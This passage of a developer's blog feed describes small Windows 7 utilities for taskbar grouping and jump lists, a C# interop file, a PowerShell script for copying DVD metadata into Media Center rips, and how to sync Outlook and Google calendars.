    I&#39;ve made two simple command line tools related to the console window and Win7 jump lists. The source is available for both but neither is much more than the sort of samples you&#39;d find on MSDN
    =).
  &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://deletethis.net/dave/dev/setappusermodelid/&quot;&gt;SetAppUserModelId&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://deletethis.net/dave/dev/setjumplist/&quot;&gt;SetJumpList&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;
    SetAppUserModelId lets you change the Application User Model ID for the current console window. The AppUserModelId is the value Win7 uses to group together icons on the task bar and is what the
    task bar&#39;s jump lists are associated with. The tool lets you change that as well as the icon and name that appear in the task bar for the window, and the command to launch if the user attempts to
    re-launch the application from its task bar icon.
  &lt;/p&gt;&lt;p&gt;
    SetJumpList lets you set the jump list associated with a particular AppUserModelId. You pass the AppUserModelId as the only parameter and then in its standard input you give it lines specifying
    items that should appear in the jump list and what to execute when those items are picked.
  &lt;/p&gt;&lt;p&gt;
    I put these together to make my build environment easier to deal with at work. I have to deal with multiple enlistments in many different branches and so I wrote a simple script around these two
    tools to group my build windows by branch name in the task bar, and to add the history of commands I&#39;ve used to launch the build environment console windows to the jump list of each.
  &lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-4400209729821033414?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Windows 7 Accelerator Platform COM / C# Interop</title>
		<link href="https://deletethis.net/dave/2010-08/Windows+7+Accelerator+Platform+COM+-+C-+Interop/"/>
		<updated>2010-08-20T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2010-08/Windows+7+Accelerator+Platform+COM+-+C-+Interop/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    For a new project I&#39;m working on involving IE&#39;s installed Accelerators and OpenSearch search providers via the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/dd565720(v=VS.85).aspx&quot;&gt;Windows 7
    Accelerator Platform&lt;/a&gt;, I&#39;ve created a C#/COM interop class for those APIs.
  &lt;/p&gt;&lt;p&gt;
    Download the &lt;a href=&quot;http://deletethis.net/dave/powershell/osinterop.cs&quot;&gt;osinterop.cs&lt;/a&gt; interop file here.
  &lt;/p&gt;&lt;p&gt;&lt;iframe width=&quot;600px&quot; height=&quot;400px&quot; src=&quot;http://deletethis.net/dave/powershell/osinterop.cs&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-6265418634142159904?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>DVD Ripping and Viewing in Windows Media Center</title>
		<link href="https://deletethis.net/dave/2010-08/DVD+Ripping+and+Viewing+in+Windows+Media+Center/"/>
		<updated>2010-08-17T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2010-08/DVD+Ripping+and+Viewing+in+Windows+Media+Center/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    I&#39;ve just got a new media center PC connected directly to my television with lots of HD space and so I&#39;m ripping a bunch of my DVDs to the PC so I don&#39;t have to fuss with the physical media. I&#39;m
    ripping with &lt;a href=&quot;http://lifehacker.com/355281/dvd-rip-automates-one+click-dvd-ripping&quot;&gt;DVD Rip&lt;/a&gt;, viewing the results in Windows 7&#39;s Windows Media Center after turning on the &lt;a href=&quot;http://support.microsoft.com/kb/930526&quot;&gt;WMC DVD Library&lt;/a&gt;, and using a powershell script I wrote to copy over cover art and metadata.
  &lt;/p&gt;&lt;p&gt;
    My powershell script follows. To use it you must do the following:
  &lt;/p&gt;&lt;ol&gt;&lt;li&gt;Run Windows Media Center with the DVD in the drive and view the disc&#39;s metadata info.
    &lt;/li&gt;&lt;li&gt;Rip each DVD to its own subdirectory of a common directory.
    &lt;/li&gt;&lt;li&gt;The name of the subdirectory to which the DVD is ripped must have the same name as the DVD name in the metadata. An exception to this are characters that aren&#39;t allowed in Windows paths (e.g.
    &amp;lt;, &amp;gt;, ?, *, etc)
    &lt;/li&gt;&lt;li&gt;Run the script and pass the path to the common directory containing the DVD rips as the first parameter.
    &lt;/li&gt;&lt;/ol&gt;Running WMC and viewing the DVD&#39;s metadata forces WMC to copy the metadata off the Internet and cache it locally. After playing with Fiddler and reading this &lt;a href=&quot;http://www.mediabrowser.tv/forum/viewtopic.php?f=9&amp;amp;t=2934&quot;&gt;blog post on WMC metadata&lt;/a&gt; I made the following script that copies metadata and cover art from the WMC cache to the corresponding DVD
  rip directory.
  &lt;p&gt;
    Download &lt;a href=&quot;http://deletethis.net/dave/wmce-zune-hack/copydvdinfo.ps1&quot;&gt;copydvdinfo.ps1&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-7418839341420694025?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Google and Outlook Calendar Sync&#39;ing</title>
		<link href="https://deletethis.net/dave/2010-07/Google+and+Outlook+Calendar+Sync-ing/"/>
		<updated>2010-07-08T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2010-07/Google+and+Outlook+Calendar+Sync-ing/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;
  I previously described my desire to &lt;a href=&quot;http://deletethis.net/dave/?uri=http%3A%2F%2Fwww.google.com%2Fsupport%2Fcalendar%2Fbin%2Fanswer.py%3Fanswer%3D89955&quot;&gt;hook my Outlook calendar up to my
  Google calendar&lt;/a&gt;. I just found out that I can do this and the reverse as both support publishing calendars to the Internet. The following are how I set this up under Outlook 2010 and Google
  Calendar:&lt;br&gt;&lt;br&gt;
  In Outlook, I go to the calendar view, right click on my calendar and select &quot;Share Publish to Office.com&quot;. At this point I can change the permissions to allow anonymous Internet access, and under
  Detail change between &#39;Full details&#39; (full calendar), &#39;Limited details&#39; (subject lines &amp;amp; availability only), &#39;Availability only&#39;. Availability only is almost just what I want -- I&#39;d also like to
  include location but availability only is good enough. After hitting OK here I get a &#39;Do you want to send an invitation...&#39; dialog box. I hit &#39;Yes&#39; and I can copy the webcals:// URL out of the
  email window that opens up. Next, to add it to my Google calendar, I open &lt;a href=&quot;http://www.google.com/calendar/&quot;&gt;http://www.google.com/calendar/&lt;/a&gt;, and under &#39;Other calendars&#39;, I select &#39;Add
  Add by URL&#39;, paste in that webcals:// URL but change the &#39;webcals&#39; at the start to &#39;https&#39;.&lt;br&gt;&lt;br&gt;
  In Google Calendar, I can click on my calendar name under &#39;My calendars&#39;, select &#39;Calendar settings&#39;, and on the new page, look under &#39;Calendar Address&#39;, click the ICAL icon, and copy the URL in
  the new dialog. Now back in Outlook I go to the Calendar view, right click on &#39;My Calendars&#39;, and select &#39;Add Calendar From Internet...&#39;. In the new dialog that pops up I paste in the URL from
  Google Calendar.&lt;br&gt;&lt;br&gt;
  In this fashion I can share public calendar data between my personal and work calendars.
  &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1670048653123050463-7754384779941356016?l=davescoolblog.blogspot.com&quot; alt=&quot;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
</feed>
